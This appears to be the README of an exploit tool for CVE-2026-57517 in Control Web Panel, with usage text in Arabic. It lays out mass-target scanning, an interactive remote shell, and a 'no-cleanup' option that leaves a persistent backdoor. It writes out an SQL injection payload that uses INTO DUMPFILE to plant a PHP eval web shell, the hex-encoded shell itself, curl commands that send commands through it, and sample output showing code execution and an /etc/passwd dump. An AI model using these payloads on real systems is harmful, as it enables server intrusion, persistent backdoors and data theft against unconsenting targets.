CVE-2026-57517

git clone https://github.com/shinthink/CVE-2026-57517.git
cd CVE-2026-57517
pip install -r requirements.txt

# هدف واحد (اكتشاف اسم المستخدم تلقائياً)
python cve_2026_57517.py -t 192.168.1.100

# هدف واحد مع اسم مستخدم معروف
python cve_2026_57517.py -t 192.168.1.100 -u cwpsvc

# فحص جماعي
python cve_2026_57517.py -f targets.txt -o live.txt

# واجهة أوامر تفاعلية
python cve_2026_57517.py -t target.com --rce -u cwpsvc

# باب خلفي دائم (بدون تنظيف تلقائي)
python cve_2026_57517.py -t target.com --no-cleanup

  -t, --target      مضيف الهدف الفردي
  -f, --file        ملف بالأهداف (واحد في كل سطر)
  -u, --username    اسم مستخدم CWP (يتجاوز الاكتشاف التلقائي)
  -o, --output      ملف إخراج TXT للأهداف الحية
  --json            ملف تقرير JSON
  --threads         العمال المتزامنون (الافتراضي: 20)
  --timeout         مهلة الطلب بالثواني (الافتراضي: 15)
  --no-cleanup      ترك الشيلات على الهدف
  --rce             وضع الواجهة التفاعلية
  -v, --verbose     إخراج مفصّل

$ python cve_2026_57517.py -f targets.txt -o live.txt -v

────────────────────────────────────────────────────────────
  CVE-2026-57517 | 5 أهداف | 20 خيط
  التنظيف: نعم
  ملف TXT الحي: live.txt
────────────────────────────────────────────────────────────

  ✅ 192.168.10.100:2083  [rce_confirmed]  18.2ث
     المستخدم  : admin
     الشيل     : https://192.168.10.100:2031/roundcube/logs/cwp_a3f2b9c1d8e4.php
     التنفيذ   : uid=1001(cwpsvc) gid=1001(cwpsvc) groups=1001(cwpsvc)
             cwp-prod-01.example.com
     whoami: cwpsvc

  ⚠️ 192.168.10.200:2083  [sqli_failed]  12.1ث
     المستخدم  : cwpsvc
     الخطأ     : فشل حقن SQL — قد يكون الهدف مصلَحاً أو المسار غير قابل للكتابة

  · 192.168.10.50:2083  [not_cwp]  2.3ث

==================================================
  ملخص الفحص
==================================================
  المجموع    : 5
  ✅ تنفيذ    : 2
  ⚠️ فشل SQLi : 1
  🔍 لا مستخدم : 1
  · ليس CWP  : 1
==================================================

$ python cve_2026_57517.py -t target.com --rce -u admin

  واجهة CWP التفاعلية — target.com
  اكتب 'exit' للخروج، 'cleanup' لإزالة الشيل

cwp$ id
uid=1001(cwpsvc) gid=1001(cwpsvc) groups=1001(cwpsvc)

cwp$ hostname
cwp-prod-01

cwp$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
cwpsvc:x:1001:1001::/home/cwpsvc:/bin/bash

cwp$ exit

curl -sk 'https://target.com:2083/' | grep -i 'control web panel\|CWP'

curl -sk -o /dev/null -w "%{http_code}" 'https://target.com:2083/admin/'
# 200 = المستخدم موجود

" UNION SELECT 1,0x{HEX_PHP_SHELL},3,4,5,6,7,8,9,10,11,12,13
INTO DUMPFILE '/usr/local/cwpsrv/var/services/roundcube/logs/shell.php' #

# الأداة تتعامل مع التشفير السداسي عشر تلقائياً. المكافئ اليدوي:
PAYLOAD='" UNION SELECT 1,0x3c3f706870206576616c286261736536345f6465636f646528245f5345525645525b22485454505f43225d29293b203f3e,3,4,5,6,7,8,9,10,11,12,13 INTO DUMPFILE '\''/usr/local/cwpsrv/var/services/roundcube/logs/shell.php'\'' #'

curl -sk 'https://target.com:2083/admin/' \
  -d "userRes=$PAYLOAD"

<?php eval(base64_decode($_SERVER['HTTP_C'])); ?>

# ترميز base64: print '___CMD___'; passthru(base64_decode('aWQ=')); print '___CMD___';
PHP=$(echo "print '___CMD___'; passthru(base64_decode('aWQ=')); print '___CMD___';" | base64 -w0)

curl -sk 'https://target.com:2031/roundcube/logs/shell.php' -H "C: $PHP"
# uid=1001(cwpsvc) gid=1001(cwpsvc)